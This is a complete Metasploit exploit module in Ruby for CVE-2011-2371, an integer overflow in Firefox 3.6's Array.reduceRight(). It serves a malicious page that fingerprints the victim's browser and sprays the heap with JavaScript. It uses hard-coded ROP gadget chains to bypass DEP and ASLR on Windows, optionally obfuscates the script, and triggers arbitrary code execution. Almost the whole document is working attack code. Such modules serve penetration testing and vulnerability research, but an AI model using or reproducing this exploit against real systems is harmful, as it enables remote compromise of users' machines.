##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Mozilla Firefox Array.reduceRight() Integer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
        array object is configured with a large length value, the reduceRight() method
        may cause an invalid index being used, allowing arbitrary remote code execution.
        Please note that the exploit requires a longer amount of time (compare to a
        typical browser exploit) in order to gain control of the machine.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Rohlf',    #Matasano Security (Initial discovery according to Mozilla.org)
          'Yan Ivnitskiy',  #Matasano Security (Initial discovery with Chris?)
          'Matteo Memelli', #PoC from Exploit-DB
          'dookie2000ca',   #"Helping" ryujin (Matteo)
          'sinn3r',         #Metasploit
          'mr_me <steventhomasseeley[at]gmail.com>',  #XP target (no aslr)
          'TecR0c <roccogiovannicalvi[at]gmail.com>', #XP target (no aslr)
        ],
      'References'     =>
        [
          ['CVE', '2011-2371'],
          ['OSVDB', '73184'],
          ['EDB', '17974'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'PrependEncoder'  => "\xbc\x0c\x0c\x0c\x0c",
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => "process",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [
            # if we dont have aslr, lets not deal with it
            # Windows XP (no JAVA)
            'Mozilla Firefox 3.6.16 (no JAVA)',
            {
              'pivot'  => 0x104C26F0, # 1st pivot [push esi;pop esp;and [esi+44],0;xor eax,eax;pop esi;retn 4]
              'pivot2' => 0x10055326, # 2nd pivot [add esp,40;ret]
            }
          ],
          [
            #Vista / win 7 (using JAVA) to defeat aslr
            'Mozilla Firefox 3.6.16 (JAVA)',
            {
              'pivot'  => 0x7c370eef, # 1st pivot [lea esp,[esi-3];dec [ebx];ret 1C75]
              'pivot2' => 0xcafebabe, # fake
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-06-21',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ])
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("L")[0].to_i
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    if agent !~ /Firefox\/3\.6\.(16|17)/
      print_error("This browser is not supported: #{agent}")
      send_not_found(cli)
      return
    end

    my_target = target
    if my_target.name == 'Automatic'
      if agent =~ /NT 5\.1/ && agent =~ /Firefox\/3\.6\.16/
        my_target = targets[1]
      elsif agent =~ /NT 6\.[01]/ && agent =~ /Firefox\/3\.6\.16/
        my_target = targets[2]
      else
        print_error("This browser is not a viable target: #{agent}")
        send_not_found(cli)
        return
      end
    end

    table = [junk(2)].pack('v*')
    table << [
      0x0c000048,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
    ].pack('V*')
    table << [junk(2)].pack('v*')
    table << [
      my_target['pivot'],
      junk,
    ].pack('V*')
    table << [junk(2)].pack('v*')
    table << [
      0x3410240c,
      0x0c00007c,
      my_target['pivot2'],
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      0x0c00002e,
    ].pack('V*')

    # random
    js_applet = rand_text_alpha(rand(10) + 5)
    a_trigger = rand_text_alpha(rand(10) + 5)

    randnop = rand_text_alpha(rand(100) + 1)
    js_nops = Rex::Text.to_unescape("\x0c"*4)

    if my_target.name =~ /\(JAVA\)/

      #mona.py tekniq! + Payload
      rop = [
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x7c37a140,  # Make EAX readable
        0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
        0x7c348b06,  # EBP (NOP)
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x7c37a140,  # <- VirtualProtect() found in IAT
        0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
        0x7c346c0b,  # Slide, so next gadget would write to correct stack location
        0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
        0x7c348b06,  # EDI (filler)
        0x7c348b06,  # will be patched at runtime (VP), then picked up into ESI
        0x7c348b06,  # EBX (filler)
        0x7c376402,  # POP EBP # RETN (msvcr71.dll)
        0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0xfffff82f,  # size 20001 bytes
        0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
        0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
        0xffffffff,  # pop value into ebx
        0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
        0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
        0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
        0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
        0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
        0x7c34b8d8,  # ROP NOP (-> edi)
        0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
        0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
        0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x90909090,  # NOPS (-> eax)
        0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
      ].pack('V*')

      p = payload.encoded
      arch = Rex::Arch.endian(target.arch)
      js_payload = Rex::Text.to_unescape(rop + p, arch)
      js_ptrs    = Rex::Text.to_unescape(table, arch)

      #Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
      js = <<-JS
      var applet = document.getElementById('#{js_applet}');

      function spray() {
        var ptrs = unescape("#{js_ptrs}");

        var bheader  = 0x12/2;
        var nullt    = 0x2/2;

        var espoffset  = (7340 /2) - ptrs.length;
        var #{randnop} = "#{js_nops}";
        var esppadding = unescape(#{randnop});
        while(esppadding.length < espoffset) esppadding += esppadding;
        esppadding = esppadding.substring(0, espoffset);

        var payload = unescape("#{js_payload}");

        var tr_padding = unescape(#{randnop});
        while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

        var dummy = ptrs + esppadding + payload + tr_padding;
        var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

        HeapBlocks = new Array()
        for (i=0;i<0x60;i++){
          HeapBlocks[i] += hspray;
        }
      }
      spray();
      obj = new Array;
      obj.length = 2197815302;
      f = function trigger(prev, myobj, indx, array) {
        alert(myobj[0]);
      }
      obj.reduceRight(f,1,2,3);
      JS

      js = js.gsub(/^ {4}/, '')

      if datastore['OBFUSCATE']
        js = ::Rex::Exploitation::JSObfu.new(js)
        js.obfuscate(memory_sensitive: true)
      end

      html = <<-HTML
      <html>
      <head>
      </head>
      <body>
      <applet id="#{js_applet}" code="#{a_trigger}.class" width=0 height=0>
      </applet>
      <script>
      #{js}
      </script>
      </body>
      <html>
      HTML

    elsif my_target.name =~ /\(no JAVA\)/

      # DEP bypass using xul.dll
      rop =
      [
        junk,
        junk,
        junk,
        junk,
        junk,
        0x101f1806,  # POP EAX # RETN [xul.dll]
        0x1083828C,  # ptr to &VirtualAlloc() [IAT xul.dll]
        0x103e0d7b,  # MOV ESI,DWORD PTR DS:[EAX] # RETN [xul.dll]
        0x102d8002,  # POP EBP # RETN [xul.dll]
        0x1003876b,  # & jmp esp [xul.dll]
        0x10040001,  # POP EBX # RETN [xul.dll]
        0x00000001,  # 0x00000001-> ebx
        0x104e6917,  # POP EDX # RETN [xul.dll]
        0x00001000,  # 0x00001000-> edx
        0x102ac000,  # POP ECX # RETN [xul.dll]
        0x00000040,  # 0x00000040-> ecx
        0x102e0005,  # POP EDI # RETN [xul.dll]
        0x102ac001,  # RETN (ROP NOP) [xul.dll]
        0x101f1806,  # POP EAX # RETN [xul.dll]
        0x90909090,  # nop
        0x102b3401,  # PUSHAD # RETN [xul.dll]
      ].pack("V*")

      p = payload.encoded
      arch = Rex::Arch.endian(target.arch)
      js_payload = Rex::Text.to_unescape(rop + p, arch)
      js_ptrs    = Rex::Text.to_unescape(table, arch)

      # java loading forces the alloctor to use more blocks, since we
      # dont load java we will just spray a little more..
      js = <<-JS
      var myobject = document.getElementById('d');

      function spray() {
        var ptrs = unescape("#{js_ptrs}");

        var bheader  = 0x12/2;
        var nullt    = 0x2/2;

        var payload = unescape("#{js_payload}");

        var #{randnop} = "#{js_nops}";
        var tr_padding = unescape(#{randnop});
        while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

        var dummy = ptrs + payload + tr_padding;
        var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

        HeapBlocks = new Array()
        for (i=0;i<0x100;i++){
          HeapBlocks[i] += hspray;
        }
      }
      spray();
      obj = new Array;
      obj.length = 2197815302;
      f = function trigger(prev, myobj, indx, array) {
        alert(myobj[0]);
      }
      obj.reduceRight(f,1,2,3);
      JS

      if datastore['OBFUSCATE']
        js = ::Rex::Exploitation::JSObfu.new(js)
        js.obfuscate(memory_sensitive: true)
      end

      js = js.gsub(/^ {4}/, '')

      html = <<-HTML
      <html>
      <head>
      </head>
      <body>
      <object id="d"><object>
      <script>
      #{js}
      </script>
      </body>
      <html>
      HTML

    end

    html = html.gsub(/^ {4}/, '')

    print_status("Sending #{self.name}")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end
